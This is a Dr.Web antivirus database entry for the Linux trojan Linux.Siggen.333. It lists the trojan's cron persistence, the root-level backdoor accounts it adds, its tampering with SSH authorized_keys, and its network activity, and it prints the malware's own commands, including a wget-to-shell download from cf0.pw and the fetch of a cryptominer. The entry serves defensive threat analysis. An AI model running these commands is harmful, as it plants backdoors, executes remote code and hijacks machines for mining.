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Linux.Siggen.333
Added to the Dr.Web virus database:
2017-12-30
Virus description added:
2017-12-30
Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
/etc/cron.hourly/1
/etc/cron.hourly/.placeholder
/etc/cron.hourly/0
/etc/cron.daily/0
/etc/cron.weekly/0
/etc/cron.monthly/0
Malicious functions:
Gets access to SSH keys
/root/.ssh/authorized_keys
Launches processes:
sh -c wget http://cf0.pw/0/etc/cron.hourly/0 -O- 2>/dev/null|sh>/dev/null 2>&1
wget http://cf0.pw/0/etc/cron.hourly/0 -O-
sh
sed -i /^[^:]\+:x:0:/{/^root:/!d} /etc/passwd
sed -i /^$/d /etc/passwd
sed -i /^$/d /etc/shadow
useradd -u 0 -g 0 -o -l -d /root -N -M -p $1$f344a097$L.vnLN/nzsnLirq5nMTBg. sudev
nscd -i passwd
nscd -i group
useradd -u 0 -g 0 -o -l -d /root -N -M -p $1$.bHtz1HY$eNtJowby1b0WVTgQT2bLu/ jewbags
rm -f /etc/cron.hourly/1
mkdir -p /root
mkdir -p /root/.ssh
wget http://cf0.pw/log/ -O /dev/null
chmod +x /etc/cron.hourly/0
chmod +x /etc/cron.daily/0
chmod +x /etc/cron.weekly/0
chmod +x /etc/cron.monthly/0
apt-get install wget curl -y
/usr/bin/dpkg --print-foreign-architectures
/usr/lib/apt/methods/http
pkill -9 xmrig
grep rbdYSfTEtykGg /root/.ssh/authorized_keys
mkdir -p /usr/libexec
chmod 755 /root /root/.ssh /root/.ssh/authorized_keys
chown root:root /root /root/.ssh /root/.ssh/authorized_keys
rm -f /usr/libexec/x
wget http://cf0.pw/0/xmr.tgz -O /usr/libexec/x
Attempts to kill the following processes:
Kills the following processes:
/usr/lib/apt/methods/http
Performs operations with the file system:
Modifies file access rights:
/etc/sedO4OuUq
/etc/sed1sa40A
/etc/sedald1eH
/etc/passwd+
/etc/shadow+
/etc/subuid+
/etc/subgid+
/etc/cron.hourly/0
/etc/cron.daily/0
/etc/cron.weekly/0
/etc/cron.monthly/0
/root
/root/.ssh
/root/.ssh/authorized_keys
Creates folders:
Creates symlinks:
/etc/passwd.lock"
/etc/group.lock"
/etc/gshadow.lock"
/etc/subuid.lock"
/etc/subgid.lock"
/etc/shadow.lock"
Creates or modifies files:
/etc/sedO4OuUq
/etc/sed1sa40A
/etc/sedald1eH
/etc/.pwd.lock
/etc/passwd.692
/etc/group.692
/etc/gshadow.692
/etc/subuid.692
/etc/subgid.692
/etc/shadow.692
/etc/passwd-
/etc/passwd+
/etc/shadow-
/etc/shadow+
/etc/subuid-
/etc/subuid+
/etc/subgid-
/etc/subgid+
/etc/passwd.697
/etc/group.697
/etc/gshadow.697
/etc/subuid.697
/etc/subgid.697
/etc/shadow.697
/etc/ld.so.preload
/var/lib/dpkg/lock
/var/cache/apt/archives/lock
/usr/libexec/x
Deletes files:
/etc/passwd.692"
/etc/group.692"
/etc/gshadow.692"
/etc/subuid.692"
/etc/subgid.692"
/etc/shadow.692"
/etc/shadow.lock"
/etc/passwd.lock"
/etc/group.lock"
/etc/gshadow.lock"
/etc/subuid.lock"
/etc/subgid.lock"
/etc/passwd.697"
/etc/group.697"
/etc/gshadow.697"
/etc/subuid.697"
/etc/subgid.697"
/etc/shadow.697"
/etc/cron.hourly/1"
/usr/libexec/x"
Network activity:
Establishes connection:
<LOCAL_DNS_SERVER>
19#.##.242.89:80
21#.##1.132.250:80
21#.##1.132.32:80
[2#########:0:216:35ff:fe7f:be4f]:80
[2#########:1:216:35ff:fe7f:6ceb]:80
[2#######8:dc41:100::233]:80
HTTP GET requests:
cf#.####/etc/cron.hourly/0
cf#.pw/log/
ft#.##.######.#####ebian/pool/main/w/wget/wget_1.16-1%2bdeb8u1_i386.deb
se######.######.######ol/updates/main/c/curl/libcurl3_7.38.0-4%2bdeb8u5_i386.deb
se######.######.#####ool/updates/main/c/curl/curl_7.38.0-4%2bdeb8u5_i386.deb
cf#.##/0/xmr.tgz
DNS ASK:
cf#.pw
se####ty.debian.org
ft#.##.debian.org
Other:
Collects CPU information
Collects RAM information
Recommandations pour le traitement
Linux
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Renouvellement de la démo via AppGallery/Google Pay
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